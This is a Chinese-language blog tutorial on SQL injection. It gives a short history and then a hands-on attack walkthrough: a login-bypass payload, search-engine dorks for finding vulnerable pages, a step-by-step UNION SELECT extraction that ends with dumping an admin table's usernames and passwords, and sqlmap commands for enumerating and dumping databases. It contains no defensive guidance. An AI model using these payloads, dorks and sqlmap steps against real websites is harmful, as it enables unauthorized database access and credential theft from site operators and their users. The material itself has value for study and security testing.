网络安全知识之SQL注入

SQL注入是什么

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入历史

1998年12月, Rain Forest Puppy(RFP) 在Phrack 54上发表文章“NT Web Technology Vulnerabilities”,首次提到SQL注入;
1999年2月,Allaire发出警告 “Multiple SQL Statements in Dynamic Queries”;
1999年5月, RFP与Matthew Astley发出警告 “NT ODBC Remote Compromise”;
2000年2月,RFP发表文章 “How I hacked Packetstorm – A look at hacking  wwthreads via SQL”,披露如何利用SQL注入攻击渗透Packetstorm网站;
2000年9月,David Litchfield在Blackhat会议上发表主题演讲“Application Assessments on IIS” ;
2000年10月,Chip Andrews在 SQLSecurity.com 上发表“SQL Injection FAQ ”,首次公开使用“SQL注入”这个术语 ;
2001年4月,David Litchfield 在Blackhat会议上发表主题演讲 “Remote Web Application Disassembly with ODBC Error Messages”;
2002年1月,Chris Anley发表论文“Advanced SQL Injection in SQL Server”,首次深度探讨该类攻击。
2002年6月,Chris Anley发表论文 “(more) Advanced SQL” ,补充同年1月发表的论文缺少的细节。
2004年Blackhat会议上,  0x90.org发布了SQL注入工具SQeaL ( Absinthe的前身)。

SQL现状

自己动手,丰衣足食

a.绕过验证,任意登录

用户名:anything
密码:‘ or 1=1 --
原理:
如果直接拼接sql走库验证的话,sql如下
SELECT * From Table WHERE Name='XX' and Password='YY' 
应用如上账号密码后,sql如下
SELECT * From Table WHERE Name='SQL inject' and Password='' or 1=1–'
下面来举个栗子

b.域名注入

寻找注入点:
域名后直接拼接sql注入: inurl:asp?xxx= 、 inurl:.php?xxx=
  post注入: inurl:ManageLogin.asp 、 inurl:ManageLogin.php
以域名后直接注入为例,具体过程如下:
第一步,进行注入测试。 最简单的方法就是 在链接后边加上 and 1=1 和 and 1=2 如果在and 1=2 显示页面不正常,而在and 1=2下显示正常,则证明 该链接存在注入点。
其原理是:一般查询的语句为
select * from table where id=1
//按照这样测试就成为了
select * from table where id=1 and 1=2
第二步,在找到注入点后, 猜解当前网页的字段数
Order by 6显示正常 ;order 7 显示不正常。说明字段数为6
第三步,爆出当前链接的显示位

//对应的数字就是显示的位置,显示位为 2和4
http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,4,5,6
第四步,爆出数据库的基本信息。
http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6
用户:people@localhost 数据库名:people 版本:5.0.20a-log
爆出所有的数据库:
http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct table_schema),5,6 from information_schema.columns
爆出数据库名:information_schema,people,test
information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。
MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
第五部,根据数据库表进行爆出所有数据库的表名:
http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct table_name),5,6 from information_schema.tables where table_schema=database()
admin1,answer,check,class,news,system,zhaoping
该页面为news.php 其数据库表肯定就是news表,
第六步,爆出admin1表里字段,再爆出的用户信息,登录后台
把admin1进行hex(16进制)的结果为:0x61646D696E31
爆出所有的字段:
字段为:id,admin,password,rank
再爆出 admin和password里的值:
http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6 from admin1

利用工具,简单高效

工具名称SQLMAP

sqlmap 是一个自动SQL 射入工具。它是可胜任执行一个广泛的数据库管理系统后端指印, 检索遥远的DBMS 数据库, usernames, 桌, 专栏, 列举整个DBMS, 读了系统文件和利用导致SQL 射入弱点的网应用编程的安全漏洞。 

基础用法

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中

总结

sql注入是需要缘分的,而程序员的疏忽就是月老的红线
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值